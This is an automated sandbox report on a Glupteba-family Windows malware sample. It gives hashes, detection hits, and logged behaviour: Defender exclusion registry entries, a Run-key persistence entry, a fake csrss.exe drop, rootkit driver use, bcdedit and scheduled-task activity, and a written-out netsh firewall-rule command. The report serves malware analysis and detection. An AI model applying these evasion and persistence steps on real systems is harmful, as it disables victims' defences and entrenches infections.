Analysis
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max time kernel
147s -
max time network
147s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
29-08-2024 18:18
Static task
static1
Behavioral task
behavioral1
Sample
c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe
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Size
3.9MB
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MD5
c95cacf637b843678cd05cbd450fa9d7
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SHA1
1e0f3dbd768e395e6781b84f5f2807515e15a265
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SHA256
0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe
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SHA512
df18882876136fa5a02f0ab81ec46d4d46c75c95b840d03a8d2f6ce6c9613f0d14f1732c845b498833e29907e489fb46c73781305c15884da48aa69f550aaa53
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SSDEEP
98304:iqPyfT090XeSC5kk7a1+54uU6ab940tdvqMvmiVv4IA:iqPyL09onjeabqK8qVQ
Malware Config
Signatures
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Glupteba payload 22 IoCs
Processes:
resource yara_rule behavioral1/memory/2148-2-0x0000000002C90000-0x0000000003386000-memory.dmp family_glupteba behavioral1/memory/2148-3-0x0000000000400000-0x0000000000B10000-memory.dmp family_glupteba behavioral1/memory/2148-6-0x0000000002C90000-0x0000000003386000-memory.dmp family_glupteba behavioral1/memory/2148-7-0x0000000000400000-0x0000000000B10000-memory.dmp family_glupteba behavioral1/memory/2148-4-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/2724-11-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/2724-10-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/2724-21-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-95-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-162-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-217-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-333-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-388-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-443-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-445-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-446-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-447-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-448-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-449-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-450-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-451-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba behavioral1/memory/1448-464-0x0000000000400000-0x0000000000D2F000-memory.dmp family_glupteba -
Processes:
c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\d803d5d18406 = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\FloralSound = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\d803d5d18406.exe = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe -
Modifies Windows Firewall 2 TTPs 1 IoCs
Processes:
netsh.exepid process 2848 netsh.exe -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exepid process 1448 csrss.exe 1376 patch.exe 1212 -
Loads dropped DLL 11 IoCs
Processes:
c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exepatch.exepid process 2724 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe 2724 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe 844 1376 patch.exe 1376 patch.exe 1376 patch.exe 1376 patch.exe 1376 patch.exe 1376 patch.exe 1376 patch.exe 1376 patch.exe -
Processes:
c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\FloralSound = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\d803d5d18406.exe = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\d803d5d18406 = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Windows\CurrentVersion\Run\FloralSound = "\"C:\\Windows\\rss\\csrss.exe\"" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMonFS csrss.exe -
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 2016 bcdedit.exe -
Drops file in System32 directory 4 IoCs
Processes:
csrss.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357 csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357 csrss.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe -
Drops file in Windows directory 3 IoCs
Processes:
makecab.exec95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exedescription ioc process File created C:\Windows\Logs\CBS\CbsPersist_20240829181832.cab makecab.exe File opened for modification C:\Windows\rss c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe File created C:\Windows\rss\csrss.exe c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe -
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
Processes:
netsh.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exec95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.execsrss.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csrss.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exenetsh.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1580 schtasks.exe 2064 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exec95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.execsrss.exepid process 2148 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe 2724 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe 1448 csrss.exe 1448 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.execsrss.exedescription pid process Token: SeDebugPrivilege 2148 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Token: SeImpersonatePrivilege 2148 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe Token: SeSystemEnvironmentPrivilege 1448 csrss.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.execmd.execsrss.exedescription pid process target process PID 2724 wrote to memory of 2732 2724 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe cmd.exe PID 2724 wrote to memory of 2732 2724 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe cmd.exe PID 2724 wrote to memory of 2732 2724 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe cmd.exe PID 2724 wrote to memory of 2732 2724 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe cmd.exe PID 2732 wrote to memory of 2848 2732 cmd.exe netsh.exe PID 2732 wrote to memory of 2848 2732 cmd.exe netsh.exe PID 2732 wrote to memory of 2848 2732 cmd.exe netsh.exe PID 2724 wrote to memory of 1448 2724 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe csrss.exe PID 2724 wrote to memory of 1448 2724 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe csrss.exe PID 2724 wrote to memory of 1448 2724 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe csrss.exe PID 2724 wrote to memory of 1448 2724 c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe csrss.exe PID 1448 wrote to memory of 2016 1448 csrss.exe bcdedit.exe PID 1448 wrote to memory of 2016 1448 csrss.exe bcdedit.exe PID 1448 wrote to memory of 2016 1448 csrss.exe bcdedit.exe PID 1448 wrote to memory of 2016 1448 csrss.exe bcdedit.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2148 -
C:\Users\Admin\AppData\Local\Temp\c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\c95cacf637b843678cd05cbd450fa9d7_JaffaCakes118.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
PID:2732 -
